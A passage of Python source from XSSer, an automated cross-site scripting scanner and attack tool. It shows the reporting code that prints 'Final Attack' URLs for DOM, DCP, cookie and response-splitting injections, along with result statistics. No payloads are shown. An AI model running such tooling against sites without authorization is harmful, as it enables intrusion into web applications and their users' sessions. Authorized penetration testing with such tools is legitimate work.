  2177. self.report("[-] Method:", line[2])
  2178. self.report('-'*50, "\n")
  2179. if self.options.fileoutput:
  2180. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2181. fout.write("---------------------" + "\n")
  2182. fout.write("[I] Target: " + line[6] + "\n")
  2183. fout.write("[+] Injection: "+ str(line[6])+"/"+str(line[4]) + "[" + str(Curl.cookie) + "]" + "\n")
  2184. fout.write("[!] Special: " + "This injection looks like a Cross Site Cookie Scripting " + "\n")
  2185. fout.write("[-] Method: " + line[2] + "\n" + '-'*50 +"\n")
  2186. elif line[1] == "[Data Control Protocol Injection]":
  2187. self.dcp_found = self.dcp_found + 1
  2188. self.report("[I] Target:", line[6])
  2189. self.report("[+] Injection:", str(line[6])+"/"+str(line[4]),
  2190. "[", line[5]["payload"] , "]")
  2191. self.report("[!] Special:", "This injection looks like a Data Control Protocol flaw")
  2192. if self.options.finalpayload or self.options.finalremote:
  2193. self.report("[*] Final Attack: ", attack_url)
  2194. else:
  2195. self.report("[*] Final Attack: ", line[5]["payload"])
  2196. self.report("[-] Method: dcp")
  2197. self.report('-'*50, "\n")
  2198. if self.options.fileoutput:
  2199. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2200. fout.write("---------------------" + "\n")
  2201. fout.write("[I] Target: " + line[6] + "\n")
  2202. fout.write("[+] Injection: " + str(line[6]) + "/" + str(line[4]) + "[" + line[5]["payload"] + "]" + "\n")
  2203. fout.write("[!] Special: " + "This injection looks like a Data Control Protocol flaw" + "\n")
  2204. if self.options.finalpayload or self.options.finalremote:
  2205. fout.write("[*] Final Attack: " + attack_url + "\n")
  2206. else:
  2207. fout.write("[*] Final Attack: " + line[5]["payload"] + "\n")
  2208. fout.write("[-] Method: dcp" + "\n" + '-'*50 +"\n")
  2209. elif line[1] == "[Document Object Model Injection]":
  2210. self.dom_found = self.dom_found + 1
  2211. self.report("[I] Target:", line[6])
  2212. self.report("[+] Injection:", str(line[0]))
  2213. self.report("[!] Special:", "This injection looks like a Document Object Model flaw")
  2214. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2215. self.report("[*] Final Attack: ", attack_url)
  2216. else:
  2217. pass
  2218. self.report("[-] Method: dom")
  2219. self.report('-'*50, "\n")
  2220. if self.options.fileoutput:
  2221. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2222. fout.write("---------------------" + "\n")
  2223. fout.write("[I] Target: " + line[6] + "\n")
  2224. fout.write("[+] Injection: " + str(line[0]) + "\n")
  2225. fout.write("[!] Special: " + "This injection looks like a Document Object Model flaw" + "\n")
  2226. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2227. fout.write("[*] Final Attack: " + attack_url + "\n")
  2228. else:
  2229. pass
  2230. fout.write("[-] Method: dom" + "\n" + '-'*50 +"\n")
  2231. elif line[1] == "[Induced Injection]":
  2232. self.httpsr_found = self.httpsr_found +1
  2233. self.report("[I] Target:", line[6])
  2234. self.report("[+] Injection:", str(line[0]))
  2235. self.report("[!] Special:", "This injection looks like a HTTP Splitting Response")
  2236. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2237. self.report("[*] Final Attack: ", attack_url)
  2238. else:
  2239. pass
  2240. self.report("[-] Method: ind")
  2241. self.report('-'*50, "\n")
  2242. if self.options.fileoutput:
  2243. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2244. fout.write("---------------------" + "\n")
  2245. fout.write("[I] Target: " + line[6] + "\n")
  2246. fout.write("[+] Injection: " + str(line[0]) + "\n")
  2247. fout.write("[!] Special: " + "This injection looks like a HTTP Splitting Response" + "\n")
  2248. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2249. fout.write("[*] Final Attack: " + attack_url + "\n")
  2250. else:
  2251. pass
  2252. fout.write("[-] Method: ind" + "\n" + '-'*50 +"\n")
  2253. elif line[5]["browser"] == "[hashed_precheck_system]":
  2254. self.false_positives = self.false_positives + 1
  2255. self.report("[I] Target:", line[6])
  2256. self.report("[+] Injection:", str(line[0]))
  2257. self.report("[!] Checker: This injection looks like a -false positive- result!. Verify it manually!")
  2258. self.report("[-] Method: hash")
  2259. self.report('-'*50, "\n")
  2260. if self.options.fileoutput:
  2261. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2262. fout.write("---------------------" + "\n")
  2263. fout.write("[I] Target: " + line[6] + "\n")
  2264. fout.write("[+] Injection: " + str(line[0]) + "\n")
  2265. fout.write("[!] Checker: This injection looks like a -false positive- result!. Verify it manually!" + "\n")
  2266. fout.write("[-] Method: hash" + "\n" + '-'*50 +"\n")
  2267. elif line[5]["browser"] == "[manual_injection]":
  2268. self.manual_found = self.manual_found + 1
  2269. self.report("[I] Target:", line[6])
  2270. self.report("[+] Injection:", str(line[0]))
  2271. self.report("[-] Method: manual")
  2272. self.report('-'*50, "\n")
  2273. if self.options.fileoutput:
  2274. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2275. fout.write("---------------------" + "\n")
  2276. fout.write("[I] Target: " + line[6] + "\n")
  2277. fout.write("[+] Injection: " + str(line[0]) + "\n")
  2278. fout.write("[-] Method: manual" + "\n" + '-'*50 +"\n")
  2279. elif line[5]["browser"] == "[Heuristic test]":
  2280. if str(line[5]["payload"]).strip('XSS') == "\\" or str(line[5]["payload"]).strip('XSS') == "/" or str(line[5]["payload"]).strip('XSS') == ">" or str(line[5]["payload"]).strip('XSS') == "<" or str(line[5]["payload"]).strip('XSS') == ";" or str(line[5]["payload"]).strip('XSS') == "'" or str(line[5]["payload"]).strip('XSS') == '"' or str(line[5]["payload"]).strip('XSS') == "=":
  2281. self.report("[I] Target:", line[6])
  2282. self.report("[+] Parameter(s):", "[",
  2283. str(line[5]["payload"]).strip('XSS') , "]")
  2284. self.report("[!] Special:", "This parameter(s) looks like is NOT -completly- FILTERED on target code")
  2285. self.report("[-] Method: heuristic")
  2286. self.report('-'*50, "\n")
  2287. if self.options.fileoutput:
  2288. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2289. fout.write("---------------------" + "\n")
  2290. fout.write("[I] Target: " + line[6] + "\n")
  2291. fout.write("[+] Parameter(s): " + "[" + str(line[5]["payload"]).strip('XSS') + "]" + "\n")
  2292. fout.write("[!] Special: " + "This parameter(s) looks like is NOT -completly- FILTERED on target code" + "\n")
  2293. fout.write("[-] Method: heuristic" + "\n" + '-'*50 +"\n")
  2294. else:
  2295. pass
  2296. else:
  2297. self.auto_found = self.auto_found + 1
  2298. self.report("[I] Target:", line[6])
  2299. self.report("[+] Injection:", line[0])
  2300. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2301. self.report("[*] Final Attack: ", attack_url)
  2302. else:
  2303. pass
  2304. self.report("[-] Method: xss")
  2305. self.report("[-] Browsers:", line[1], "\n", '-'*50, "\n")
  2306. if self.options.fileoutput:
  2307. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2308. fout.write("---------------------" + "\n")
  2309. fout.write("[I] Target: " + line[6] + "\n")
  2310. fout.write("[+] Injection: " + line[0] + "\n")
  2311. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2312. fout.write("[*] Final Attack: " + attack_url + "\n")
  2313. else:
  2314. pass
  2315. fout.write("[-] Method: xss" + "\n")
  2316. fout.write("[-] Browsers: "+ line[1] + "\n" + '-'*50 + "\n")
  2317. #if self.options.tweet:
  2318. # self.report("[!] Trying to publish on: " + self.sn_service + "/" + self.sn_username)
  2319. # if self.options.fileoutput:
  2320. # fout.write("[!] Published on: " + self.sn_service + "/" + self.sn_username + "\n")
  2321. # fout.write("="*75 + "\n")
  2322. #if self.options.launch_browser:
  2323. # if self.options.dcp:
  2324. # #XXX implement DCP autolauncher
  2325. # self.report("\n[@] DCP autolauncher not implemented, yet. (http://docs.python.org/library/webbrowser.html)")
  2326. # self.report("[!] Aborting all launching process!!. If you want to 'auto-launch' other results, try without --Dcp option\n")
  2327. # self.report("[I] If you have some DCP success injections discovered, try to open -manually- these results in the website of your target. You will see that works! ;)\n")
  2328. # else:
  2329. # if attack_url == "":
  2330. # pass
  2331. # else:
  2332. # self._webbrowser.open(attack_url)
  2333. # heuristic always with statistics
  2334. if self.options.heuristic:
  2335. self.options.statistics = True
  2336. # some statistics reports
  2337. if self.options.statistics:
  2338. # heuristic test results
  2339. if self.options.heuristic:
  2340. self.report('='*75)
  2341. self.report("[*] Heuristic:")
  2342. self.report('='*75)
  2343. self.report('-'*50)
  2344. self.report(' ', " <not-filt>", " <filtered>", " =" , " ASCII",
  2345. " +", " UNE/HEX", " +", " DEC")
  2346. # semicolon results
  2347. heuris_semicolon_total_found = self.heuris_semicolon_notfound + self.heuris_une_semicolon_found + self.heuris_dec_semicolon_found
  2348. self.report('; ', " ", self.heuris_semicolon_found, " ", heuris_semicolon_total_found, " ",
  2349. self.heuris_semicolon_notfound, " ",
  2350. self.heuris_une_semicolon_found, " ",
  2351. self.heuris_dec_semicolon_found)
  2352. # backslash results
  2353. heuris_backslash_total_found = self.heuris_backslash_notfound + self.heuris_une_backslash_found + self.heuris_dec_backslash_found
  2354. self.report('\\ ', " ", self.heuris_backslash_found, " ", heuris_backslash_total_found, " ",
  2355. self.heuris_backslash_notfound, " ",
  2356. self.heuris_une_backslash_found, " ",
  2357. self.heuris_dec_backslash_found)
  2358. # slash results
  2359. heuris_slash_total_found = self.heuris_slash_notfound + self.heuris_une_slash_found + self.heuris_dec_slash_found
  2360. self.report("/ ", " ", self.heuris_slash_found, " ",
  2361. heuris_slash_total_found, " ",
  2362. self.heuris_slash_notfound, " ",
  2363. self.heuris_une_slash_found, " ",
  2364. self.heuris_dec_slash_found)
  2365. # minor results
  2366. heuris_minor_total_found = self.heuris_minor_notfound + self.heuris_une_minor_found + self.heuris_dec_minor_found
  2367. self.report("< ", " ", self.heuris_minor_found, " ",
  2368. heuris_minor_total_found, " ",
  2369. self.heuris_minor_notfound, " ",
  2370. self.heuris_une_minor_found, " ",
  2371. self.heuris_dec_minor_found)
  2372. # mayor results
  2373. heuris_mayor_total_found = self.heuris_mayor_notfound + self.heuris_une_mayor_found + self.heuris_dec_mayor_found
  2374. self.report("> ", " ", self.heuris_mayor_found, " ",
  2375. heuris_mayor_total_found, " ",
  2376. self.heuris_mayor_notfound, " ",
  2377. self.heuris_une_mayor_found, " ",
  2378. self.heuris_dec_mayor_found)
  2379. # doublecolon results
  2380. heuris_doublecolon_total_found = self.heuris_doublecolon_notfound + self.heuris_une_doublecolon_found + self.heuris_dec_doublecolon_found
  2381. self.report('" ', " ", self.heuris_doublecolon_found, " ", heuris_doublecolon_total_found, " ",
  2382. self.heuris_doublecolon_notfound, " ",
  2383. self.heuris_une_doublecolon_found, " ",
  2384. self.heuris_dec_doublecolon_found)
  2385. # colon results
  2386. heuris_colon_total_found = self.heuris_colon_notfound + self.heuris_une_colon_found + self.heuris_dec_colon_found
  2387. self.report("' ", " ", self.heuris_colon_found, " ",
  2388. heuris_colon_total_found, " ",
  2389. self.heuris_colon_notfound, " ",
  2390. self.heuris_une_colon_found, " ",
  2391. self.heuris_dec_colon_found)
  2392. # equal results
  2393. heuris_equal_total_found = self.heuris_equal_notfound + self.heuris_une_equal_found + self.heuris_dec_equal_found
  2394. self.report("= ", " ", self.heuris_equal_found, " ",
  2395. heuris_equal_total_found, " ",
  2396. self.heuris_equal_notfound, " ",
  2397. self.heuris_une_equal_found, " ",
  2398. self.heuris_dec_equal_found)
  2399. self.report('-'*70)
  2400. total_heuris_found = heuris_semicolon_total_found + heuris_backslash_total_found + heuris_slash_total_found + heuris_minor_total_found + heuris_mayor_total_found + heuris_doublecolon_total_found + heuris_colon_total_found + heuris_equal_total_found
  2401. total_heuris_params = total_heuris_found + self.heuris_semicolon_found + self.heuris_backslash_found + self.heuris_slash_found + self.heuris_minor_found + self.heuris_mayor_found + self.heuris_doublecolon_found + self.heuris_colon_found + self.heuris_equal_found
  2402. try:
  2403. _accur = total_heuris_found * 100 / total_heuris_params
  2404. except ZeroDivisionError:
  2405. _accur = 0
  2406. self.report('Target(s) Filtering Accur: %s %%' % _accur)
  2407. self.report('-'*70)
  2408. # statistics block
  2409. if len(self.hash_found) + len(self.hash_notfound) == 0:
  2410. pass
  2411. else:
  2412. self.report('='*75)
  2413. self.report("[*] Statistic:")
  2414. self.report('='*75)
  2415. test_time = datetime.datetime.now() - self.time
  2416. self.report('-'*50)
  2417. self.report("Test Time Duration: ", test_time)
  2418. self.report('-'*50 )
  2419. total_connections = self.success_connection + self.not_connection + self.forwarded_connection + self.other_connection
  2420. self.report("Total Connections:", total_connections)
  2421. self.report('-'*25)
  2422. self.report("200-OK:" , self.success_connection , "|", "404:" ,
  2423. self.not_connection , "|" , "503:" ,
  2424. self.forwarded_connection , "|" , "Others:",
  2425. self.other_connection)
  2426. try:
  2427. _accur = self.success_connection * 100 / total_connections
  2428. except ZeroDivisionError:
  2429. _accur = 0
  2430. self.report("Connec: %s %%" % _accur)
  2431. self.report('-'*50)
  2432. total_payloads = self.check_positives + self.manual_injection + self.auto_injection + self.dcp_injection + self.dom_injection + self.xsa_injection + self.xsr_injection + self.coo_injection
  2433. self.report("Total Payloads:", total_payloads)
  2434. self.report('-'*25)
  2435. self.report("Checker:", self.check_positives, "|", "Manual:",
  2436. self.manual_injection, "|" , "Auto:" ,
  2437. self.auto_injection ,"|", "DCP:",
  2438. self.dcp_injection, "|", "DOM:", self.dom_injection,
  2439. "|", "Induced:", self.httpsr_injection, "|" , "XSR:",
  2440. self.xsr_injection, "|", "XSA:",
  2441. self.xsa_injection , "|", "COO:",
  2442. self.coo_injection)
  2443. self.report('-'*50)
  2444. self.report("Total Injections:" ,
  2445. len(self.hash_notfound) + len(self.hash_found))
  2446. self.report('-'*25)
  2447. self.report("Failed:" , len(self.hash_notfound), "|",
  2448. "Successful:" , len(self.hash_found))
  2449. try:
  2450. _accur = len(self.hash_found) * 100 / total_injections
  2451. except ZeroDivisionError:
  2452. _accur = 0
  2453. self.report("Accur : %s %%" % _accur)
  2454. self.report('-'*25)
  2455. total_discovered = self.false_positives + self.manual_found + self.auto_found + self.dcp_found + self.dom_found + self.xsr_found + self.xsa_found + self.coo_found
  2456. self.report("Total Discovered:", total_discovered)
  2457. self.report('-'*25)
  2458. self.report("Checker:", self.false_positives, "|",
  2459. "Manual:",self.manual_found, "|", "Auto:",
  2460. self.auto_found, "|", "DCP:", self.dcp_found,
  2461. "|", "DOM:", self.dom_found, "|", "Induced:",
  2462. self.httpsr_found, "|" , "XSR:", self.xsr_found,
  2463. "|", "XSA:", self.xsa_found, "|", "COO:",
  2464. self.coo_found)
  2465. self.report('-'*50)
  2466. self.report("False positives:", self.false_positives, "|",
  2467. "Vulnerables:",
  2468. total_discovered - self.false_positives)
  2469. self.report('-'*25)
  2470. # efficiency ranking:
  2471. # algor= vulnerables + false positives - failed * extras
  2472. mana = 0
  2473. if self.hash_found > 3:
  2474. mana = mana + 4500
  2475. if self.hash_found == 1:
  2476. mana = mana + 500
  2477. if self.options.reversecheck:
  2478. mana = mana + 200
  2479. if total_payloads > 100:
  2480. mana = mana + 150
  2481. if not self.options.xsser_gtk:
  2482. mana = mana + 125
  2483. if self.options.discode:
  2484. mana = mana + 100
  2485. if self.options.proxy:
  2486. mana = mana + 100
  2487. if self.options.threads > 9:
  2488. mana = mana + 100
  2489. if self.options.heuristic:
  2490. mana = mana + 100
  2491. if self.options.finalpayload or self.options.finalremote:
  2492. mana = mana + 100
  2493. if self.options.script:
  2494. mana = mana + 100
  2495. if self.options.Cem or self.options.Doo:
  2496. mana = mana + 75
  2497. if self.options.heuristic:
  2498. mana = mana + 50
  2499. if self.options.script and not self.options.fuzz:
  2500. mana = mana + 25
  2501. if self.options.followred and self.options.fli:
  2502. mana = mana + 25
  2503. if self.options.wizard:
  2504. mana = mana + 25
  2505. if self.options.dcp:
  2506. mana = mana + 25
  2507. if self.options.hash:
  2508. mana = mana + 10
  2509. mana = (len(self.hash_found) * mana) + mana -4500
  2510. # enjoy it :)
  2511. self.report("Mana:", mana)
  2512. self.report("-"*50)
  2513. c = Curl()
  2514. if not len(self.hash_found) and self.hash_notfound:
  2515. if self.options.hash:
  2516. self.report("[!] Checker: looks like your target doesn't repeat code received.\n")
  2517. if self.options.fuzz or self.options.dcp or self.options.script:
  2518. self.report("[I] Could not find any vulnerability!. Try another combination or hack it -manually- :)\n")
  2519. else:
  2520. self.report("[I] Could not find any vulnerability!. Try another combination or hack it -manually- :)\n")
  2521. self.report('='*75 + '\n')
  2522. if self.options.fileoutput:
  2523. fout = open("XSSreport.raw", "a")
  2524. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2525. fout.write("---------------------" + "\n")
  2526. fout.write("[!] Not reported 'positive' results for: \n" + "[-] " + str('\n[-] '.join([u[0] for u in self.hash_notfound])) + "\n")
  2527. fout.write("="*75 + "\n")
  2528. fout.close()
  2529. else:
  2530. # some exits and info for some bad situations:
  2531. if len(self.hash_found) + len(self.hash_notfound) == 0 and not Exception:
  2532. self.report("\nXSSer cannot send data :( ... maybe is -something- blocking our connections!?\n")
  2533. if len(self.hash_found) + len(self.hash_notfound) == 0 and self.options.crawling:
  2534. self.report("\n[Error] Crawlering system is not receiving feedback... Aborting! :(\n")
  2535. # print results to xml file
  2536. if self.options.filexml:
  2537. xml_report_results = xml_reporting(self)
  2538. try:
  2539. xml_report_results.print_xml_results(self.options.filexml)
  2540. except:
  2541. return
  2542. if __name__ == "__main__":
  2543. app = xsser()
  2544. options = app.create_options()
  2545. if options:
  2546. app.set_options(options)
  2547. app.run()
  2548. app.land(True)